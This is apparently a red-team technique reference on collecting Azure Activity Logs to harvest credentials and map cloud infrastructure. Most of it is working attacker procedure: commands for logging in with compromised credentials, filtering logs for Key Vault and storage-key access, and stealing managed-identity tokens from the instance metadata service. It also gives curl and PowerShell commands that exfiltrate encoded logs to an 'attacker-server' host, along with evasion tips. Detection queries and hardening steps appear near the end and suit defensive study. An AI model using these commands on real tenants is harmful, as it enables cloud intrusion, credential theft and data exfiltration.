| Attribute | Details |
|---|---|
| Technique ID | COLLECT-LOGS-001 |
| MITRE ATT&CK v18.1 | T1552.001 - Credentials in Files |
| Tactic | Collection |
| Platforms | Entra ID, Azure |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | All Azure subscriptions with Activity Logs enabled |
| Patched In | N/A (Feature, not vulnerability) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Activity Logs record all management plane operations (control plane activities) performed on Azure resources. These logs contain comprehensive audit trails of resource creation, modification, deletion, and access operations including secrets retrieval, role assignments, and authentication events. Adversaries with read access to Activity Logs (Reader role or equivalent) can extract sensitive operational intelligence: which administrators accessed which resources, when credentials were rotated, what services were deployed, and detailed error messages that often expose configuration secrets or misconfigurations. More critically, Activity Logs themselves may contain credentials if passed as command-line parameters or request payloads (e.g., storage account keys in ARM template parameters, API keys in deployment scripts).
Attack Surface: Azure Activity Logs accessible via Azure Portal, Azure CLI, PowerShell, REST API, Log Analytics workspace exports, and storage account blobs if diagnostic settings are configured. Any identity with “Reader”, “Contributor”, or “Owner” role on subscription or resource group level can access these logs.
Business Impact: Complete visibility into Azure environment configuration, user identity reconnaissance, and potential credential exposure. Activity Logs reveal the “map” of infrastructure: which VMs host which applications, which identity was granted which permissions, and exact timestamps of administrative actions. Attackers can enumerate service principals, identify security gaps from failed operations (denied by RBAC), and locate credentials if administrative scripts included them in ARM templates. This enables precise targeted attack planning and lateral movement.
Technical Context: Activity Logs are stored redundantly in Azure’s immutable audit infrastructure and retained for 90 days by default (extendable via diagnostic settings to 365+ days via Log Analytics or storage account archives). Reading Activity Logs generates no alert; it’s a silent operation visible only in Log Analytics cost overages or vNet flow logs if traffic is captured. No tools or downloads required – access is purely API-based via authenticated credentials.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.3 | Ensure that “Diagnostic Settings” exist for all subscriptions to capture all activities |
| DISA STIG | Azure: V-251346 | Ensure Activity Logs are exported to Log Analytics or external SIEM |
| NIST 800-53 | AU-2 (Audit Events), AU-12 (Audit Generation) | Establish audit trails; ensure completeness of audit records |
| GDPR | Article 32 | Technical and organizational measures for security of processing |
| DORA (EU Finance) | Article 9 | Incident Detection and Response – Activity Logs are primary detection source |
| NIS2 (EU Critical Infrastructure) | Article 21 | Cyber Risk Management – logging is mandatory for critical infrastructure |
| ISO 27001 | A.12.4.1 | Event logging; ensure logs are protected from unauthorized access |
| ISO 27005 | Log Integrity Risk Scenario | Potential for unauthorized log access by privileged attackers |
Required Privileges:
Required Access:
management.azure.com).Supported Versions:
Tools:
# List current user's role assignments
az role assignment list --include-inherited --output table
# Check if Reader role is assigned
az role assignment list --query "[?roleDefinitionName=='Reader']" --output table
# List all subscriptions accessible
az account list --output table
What to Look For:
# Check if Activity Logs exist in current context
Get-AzLog -MaxEvents 1 -WarningAction SilentlyContinue
# Check Log Analytics workspace availability
Get-AzOperationalInsightsWorkspace | Select-Object Name, ResourceGroupName
# Verify current identity
Get-AzContext | Select-Object Account, Tenant, Subscription
What to Look For:
# List diagnostic settings for all resources in subscription
Get-AzDiagnosticSetting | Select-Object Name, ResourceId, Enabled
Version Note: PowerShell Azure Stack (Azure Government, Azure China) uses identical cmdlets; API endpoints differ (management.azure.us, management.azure.cn).
Supported Versions: All Azure versions via CLI
Objective: Obtain a valid Azure session using compromised or attacker-controlled credentials.
Command:
# Login interactively (prompts for credentials in browser)
az login
# Or login with service principal
az login --service-principal -u <app-id> -p <password> --tenant <tenant-id>
# Set subscription context
az account set --subscription "MySubscription"
Expected Output:
[
{
"cloudName": "AzureCloud",
"homeTenantId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"id": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"isDefault": true,
"name": "Production Subscription",
"state": "Enabled",
"tenantId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"user": {
"name": "attacker@company.com",
"type": "user"
}
}
]
OpSec & Evasion:
--allow-no-subscriptions flag to login without selecting a subscription (reduces logging).Objective: Filter Activity Logs for operations revealing secrets, credentials, or high-privilege actions.
Command (Retrieve all logs for last 7 days):
az monitor activity-log list \
--start-time $(date -u -d '7 days ago' +%Y-%m-%dT%H:%M:%SZ) \
--end-time $(date -u +%Y-%m-%dT%H:%M:%SZ) \
--output json > activity_logs_full.json
Command (Filter for Key Vault operations - secret access):
az monitor activity-log list \
--resource-provider "Microsoft.KeyVault" \
--start-time $(date -u -d '7 days ago' +%Y-%m-%dT%H:%M:%SZ) \
--output json | jq '.[] | select(.operationName.value | contains("Secret")) | {eventTimestamp, operationName: .operationName.value, principal: .caller, status: .status.value, resourceId}'
Command (Filter for Storage Account Key Retrieval):
az monitor activity-log list \
--resource-provider "Microsoft.Storage" \
--start-time $(date -u -d '30 days ago' +%Y-%m-%dT%H:%M:%SZ) \
--output json | jq '.[] | select(.operationName.value | contains("ListKeys")) | {eventTimestamp, caller, resourceId, status: .status.value}'
Command (Filter for Role Assignment Creation):
az monitor activity-log list \
--resource-provider "Microsoft.Authorization" \
--start-time $(date -u -d '90 days ago' +%Y-%m-%dT%H:%M:%SZ) \
--output json | jq '.[] | select(.operationName.value | contains("role")) | {eventTimestamp, caller, operationName: .operationName.value, principal: .claims.ipaddr}'
Expected Output (Key Vault Secrets Access):
{
"eventTimestamp": "2025-01-09T14:22:33.128Z",
"operationName": {
"value": "Microsoft.KeyVault/vaults/secrets/read",
"localizedValue": "Get Secret"
},
"principal": "admin@company.com",
"status": {
"value": "Success",
"localizedValue": "Success"
},
"resourceId": "/subscriptions/xxx/resourceGroups/security/providers/Microsoft.KeyVault/vaults/prod-kv-01"
}
What This Means:
Objective: Retrieve full details of operations, including request/response payloads which may contain credentials.
Command (Get detailed event with claims/properties):
az monitor activity-log show \
--resource-group "MyResourceGroup" \
--name "Activity Log Event ID" \
--output json | jq '.properties'
Command (Export all operations with full details to CSV):
az monitor activity-log list \
--start-time $(date -u -d '90 days ago' +%Y-%m-%dT%H:%M:%SZ) \
--output json | jq -r '.[] | [.eventTimestamp, .caller, .operationName.value, .resourceId, .status.value] | @csv' > activity_logs.csv
Expected Output (CSV Format):
"2025-01-09T14:22:33Z","admin@company.com","Microsoft.KeyVault/vaults/secrets/read","/subscriptions/xxx/resourceGroups/security/providers/Microsoft.KeyVault/vaults/prod-kv-01","Success"
"2025-01-09T13:15:22Z","sa-deployment@company.com","Microsoft.Storage/storageAccounts/listKeys/action","/subscriptions/xxx/resourceGroups/storage/providers/Microsoft.Storage/storageAccounts/prodsa01","Success"
OpSec & Evasion:
--query parameter to limit output columns (reduces data size).Objective: Move captured logs off the Azure environment for analysis and storage.
Command (Upload to attacker-controlled storage):
# Copy to Azure Blob Storage (if attacker controls storage account)
az storage blob upload \
--account-name "attackerstorage" \
--account-key "<storage-key>" \
--container-name "exfil" \
--name "activity_logs_$(date +%s).json" \
--file "activity_logs_full.json"
Command (Exfiltrate via HTTP POST to attacker server):
# Base64 encode for obfuscation
cat activity_logs_full.json | base64 | curl -X POST \
-H "Content-Type: application/json" \
-d @- \
"http://attacker-server:8080/exfil?type=activity_logs"
OpSec & Evasion:
rm activity_logs_full.json.Supported Versions: All Azure versions, especially effective from Azure VMs with managed identity
Objective: If attacker compromises an Azure VM, leverage its managed identity to authenticate without credentials.
Command (Retrieve MI token from VM metadata):
# Get managed identity access token via Azure Instance Metadata Service
$response = Invoke-WebRequest -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-12-01&resource=https://management.azure.com/" `
-Headers @{Metadata = "true"} -UseBasicParsing
$accessToken = ($response.Content | ConvertFrom-Json).access_token
What This Achieves:
Objective: Use the managed identity token to directly query Microsoft.Insights API.
Command (REST API call using MI token):
$subscriptionId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
$headers = @{
Authorization = "Bearer $accessToken"
"Content-Type" = "application/json"
}
$uri = "https://management.azure.com/subscriptions/$subscriptionId/providers/microsoft.insights/eventTypes/management/values?api-version=2015-04-01&`$filter=eventTimestamp ge '2025-01-02T00:00:00Z' and eventTimestamp le '2025-01-10T23:59:59Z'"
$response = Invoke-RestMethod -Uri $uri -Headers $headers -Method Get
# Convert to JSON and save
$response.value | ConvertTo-Json | Out-File -Path "C:\Temp\activity_logs.json"
Command (Filter for Azure Key Vault operations):
$uri = "https://management.azure.com/subscriptions/$subscriptionId/providers/microsoft.insights/eventTypes/management/values?api-version=2015-04-01&`$filter=eventTimestamp ge '2024-12-10T00:00:00Z' and resourceProvider eq 'Microsoft.KeyVault'"
$kvLogs = (Invoke-RestMethod -Uri $uri -Headers $headers -Method Get).value
$kvLogs | Where-Object {$_.operationName.value -match "Secret|Key"} | Select-Object eventTimestamp, caller, operationName, resourceId
Expected Output:
eventTimestamp : 2025-01-09T14:22:33.128Z
caller : admin@company.com
operationName : Microsoft.KeyVault/vaults/secrets/read
resourceId : /subscriptions/xxx/resourceGroups/security/providers/Microsoft.KeyVault/vaults/prod-kv-01
OpSec & Evasion:
Objective: Some Activity Log entries contain full request/response payloads, including API keys, connection strings, or credentials if logged by mistake.
Command (Extract request/response details):
# Access httpRequest object which may contain request body/headers
$kvLogs | ForEach-Object {
$_ | Add-Member -NotePropertyName "RequestDetails" `
-NotePropertyValue ($_.properties.httpRequest | ConvertTo-Json)
} | Select-Object eventTimestamp, caller, RequestDetails | Format-Table -AutoSize
Expected Output (if credential logged in request):
RequestDetails: {
"method": "POST",
"url": "/subscriptions/xxx/resourceGroups/myRG/providers/Microsoft.KeyVault/vaults/myvault/secrets/DbPassword/set",
"clientIpAddress": "203.0.113.45",
"headers": {
"content-type": "application/json"
},
"body": "{\"properties\": {\"value\": \"P@ssw0rd123!!\"}}"
}
What This Means:
P@ssw0rd123!!).Objective: Package and move all extracted data off the Azure environment.
Command (Create ZIP archive for exfil):
# Compress JSON logs
Compress-Archive -Path "C:\Temp\activity_logs.json" -DestinationPath "C:\Temp\logs.zip"
# Exfiltrate via HTTP (base64 encoded)
$fileBytes = [System.IO.File]::ReadAllBytes("C:\Temp\logs.zip")
$encodedFile = [Convert]::ToBase64String($fileBytes)
$uri = "http://attacker-server:8080/upload"
$body = @{ data = $encodedFile } | ConvertTo-Json
Invoke-WebRequest -Uri $uri -Method Post -Body $body -ContentType "application/json"
OpSec & Evasion:
Remove-Item -Path "C:\Temp\activity_logs.json" -Force.Supported Versions: All Azure subscriptions with Log Analytics workspace configured
Objective: Access the Log Analytics workspace where Activity Logs are aggregated and query them using KQL.
Command (PowerShell - Query Log Analytics):
# Define Log Analytics workspace details
$workspaceId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
$workspaceKey = "workspace-primary-key"
# Install LA module if not present
Install-Module -Name Az.OperationalInsights -Force
# Connect to workspace
$workspace = Get-AzOperationalInsightsWorkspace -ResourceGroupName "LogAnalyticsRG" -Name "prod-log-analytics"
Command (KQL query to find secret access):
AzureActivity
| where OperationNameValue in ("MICROSOFT.KEYVAULT/VAULTS/SECRETS/READ", "MICROSOFT.KEYVAULT/VAULTS/KEYS/READ")
| where ActivityStatusValue == "Success"
| project TimeGenerated, Caller, OperationNameValue, ResourceId, Properties
| order by TimeGenerated desc
Expected Output:
TimeGenerated Caller OperationNameValue ResourceId Properties
2025-01-09 14:22 admin@company.com MICROSOFT.KEYVAULT/VAULTS/SECRETS/READ /subscriptions/xxx/resourceGroups/security/providers/Microsoft.KeyVault/vaults/prod-kv-01 {...}
2025-01-08 09:15 sa-deployment@company.com MICROSOFT.KEYVAULT/VAULTS/KEYS/READ /subscriptions/xxx/resourceGroups/security/providers/Microsoft.KeyVault/vaults/prod-kv-01 {...}
Objective: Extract findings in portable format for offline analysis.
Command (Export results via PowerShell):
# Build KQL query for secret and storage account access
$query = @"
AzureActivity
| where OperationNameValue in (
"MICROSOFT.KEYVAULT/VAULTS/SECRETS/READ",
"MICROSOFT.STORAGE/STORAGEACCOUNTS/LISTKEYS/ACTION",
"MICROSOFT.AUTHORIZATION/ROLEASSIGNMENTS/WRITE"
)
| where ActivityStatusValue == "Success"
| project TimeGenerated, Caller, OperationNameValue, ResourceId, Properties
| order by TimeGenerated desc
"@
# Execute query
$results = Invoke-AzOperationalInsightsQuery -WorkspaceId $workspaceId -Query $query
# Export to CSV
$results.Tables[0].Rows | Export-Csv -Path "activity_logs_export.csv" -NoTypeInformation
OpSec & Evasion:
Version: 2.55.0 (latest as of Jan 2025) Minimum Version: 2.40.0 Supported Platforms: Windows, macOS, Linux
Installation (Windows):
# Via Chocolatey
choco install azure-cli
# Via MSI installer
Invoke-WebRequest -Uri "https://aka.ms/installazurecliwindows" -OutFile azure-cli.msi
msiexec.exe /I azure-cli.msi
Installation (Linux):
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
Usage (Activity Log Export):
az monitor activity-log list --start-time 2025-01-01T00:00:00Z --end-time 2025-01-10T23:59:59Z --output json > logs.json
Version: 11.0.0+ (latest) Minimum Version: 9.0.0 Supported Platforms: Windows, Linux, macOS
Installation:
# Install Az module
Install-Module -Name Az -AllowClobber -Force
# Import module
Import-Module Az
Usage (Activity Log Export):
Get-AzLog -StartTime (Get-Date).AddDays(-7) -EndTime (Get-Date) | Export-Csv -Path "activity_logs.csv"
Atomic Test ID: T1552.001-1 Test Name: Activity Log Collection via Azure CLI Description: Retrieve Azure Activity Logs covering 90-day window Supported Platforms: Windows, Linux, macOS
Command:
az monitor activity-log list --start-time "$(date -u -d '90 days ago' +%Y-%m-%dT%H:%M:%SZ)" --output json | wc -l
Reference: Atomic Red Team T1552.001
Rule Configuration:
SPL Query:
sourcetype=azure:monitor:activity Operation="LIST" OR Operation="GET"
| stats count as request_count by Caller, ClientIP
| where request_count > 100
| alert
Rule Configuration:
KQL Query:
AzureActivity
| where OperationNameValue in ("MICROSOFT.INSIGHTS/EVENTTYPES/MANAGEMENT/VALUES", "Microsoft.Insights/activityLogAlerts/action")
| where ActivityStatusValue == "Success"
| where CallerIpAddress !in ("YOUR_INTERNAL_IPS") // Exclude legitimate admin IPs
| summarize event_count = count() by Caller, CallerIpAddress, _ResourceId
| where event_count > 50 // Threshold for bulk export
| extend RiskLevel = "High"
Restrict Activity Log Reader Permissions: Limit who can access Activity Logs to specific security/audit teams only.
Applies To Versions: All
Manual Steps (Azure RBAC):
PowerShell:
# Create custom role with minimal Activity Log read permission
$role = @{
Name = "ActivityLogReader"
Description = "Read-only access to Activity Logs"
Actions = @(
"Microsoft.Insights/eventTypes/values/read",
"Microsoft.Insights/Events/read"
)
}
New-AzRoleDefinition -InputObject $role
# Assign to specific users
New-AzRoleAssignment -ObjectId (Get-AzADUser -UserPrincipalName "audit-team@company.com").Id `
-RoleDefinitionName "ActivityLogReader" `
-Scope "/subscriptions/$subscriptionId"
Enable Diagnostic Settings and Archive to Immutable Storage: Ensure Activity Logs are protected from tampering.
Manual Steps:
Archive-to-Immutable-StoragePowerShell:
# Create storage account with immutable blob policy
$storageAccount = New-AzStorageAccount -Name "auditlogs" -ResourceGroupName "SecurityRG" `
-Location "eastus" -SkuName "Standard_LRS"
# Enable immutable storage
Update-AzStorageAccountImmutabilityPolicy -ResourceGroupName "SecurityRG" `
-StorageAccountName "auditlogs" -ImmutabilityPeriodSinceCreationInDays 365
# Configure diagnostic setting
Set-AzDiagnosticSetting -Name "ActivityLogArchive" -ResourceId "/subscriptions/$subscriptionId" `
-StorageAccountId $storageAccount.Id -Enabled $true -Categories AuditEvent
Monitor and Alert on Large Activity Log Exports: Detect bulk data access patterns.
Via Microsoft Sentinel (covered in Section 9)
Implement Log Analytics RBAC: Control who can query the aggregated Activity Logs in Log Analytics workspace.
Manual Steps:
Conditional Access – Require MFA for Log Queries:
Manual Steps:
Require MFA for Log Access# Verify Activity Log access restrictions
Get-AzRoleAssignment | Where-Object {$_.RoleDefinitionName -match "Reader|Contributor"} | Select-Object DisplayName, RoleDefinitionName
# Check diagnostic settings exist
Get-AzDiagnosticSetting | Where-Object {$_.Name -like "*Activity*"} | Select-Object Name, StorageAccountId
az monitor activity-log list or Get-AzLog with unusual date ranges.Microsoft.Insights API endpoints from non-standard IPs.# Disable affected service principal or revoke user's credentials
Set-AzADUser -ObjectId (Get-AzADUser -UserPrincipalName "admin@company.com").Id `
-AccountEnabled $false
# Determine what logs were accessed
Get-AzLog | Where-Object {$_.Caller -eq "attacker@company.com"} `
| Select-Object EventTimestamp, OperationName, ResourceId | Export-Csv evidence.csv
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker obtains user account via phishing |
| 2 | Privilege Escalation | [PE-ACCTMGMT-001] App Registration Permissions | Attacker adds permissions to compromised user’s app |
| 3 | Lateral Movement | [LM-AUTH-005] Service Principal Key/Certificate | Attacker authenticates as service principal with elevated role |
| 4 | Collection (Current) | [COLLECT-LOGS-001] Activity Logs | Attacker harvests audit trail to identify secrets and vulnerabilities |
| 5 | Credential Access | [CA-UNSC-007] Azure Key Vault Secret Extraction | Attacker uses intelligence from logs to access Key Vault |
| 6 | Impact | [IMPACT-DATA-DESTROY-001] Data Destruction via Blob Storage | Attacker deletes critical data using stolen credentials |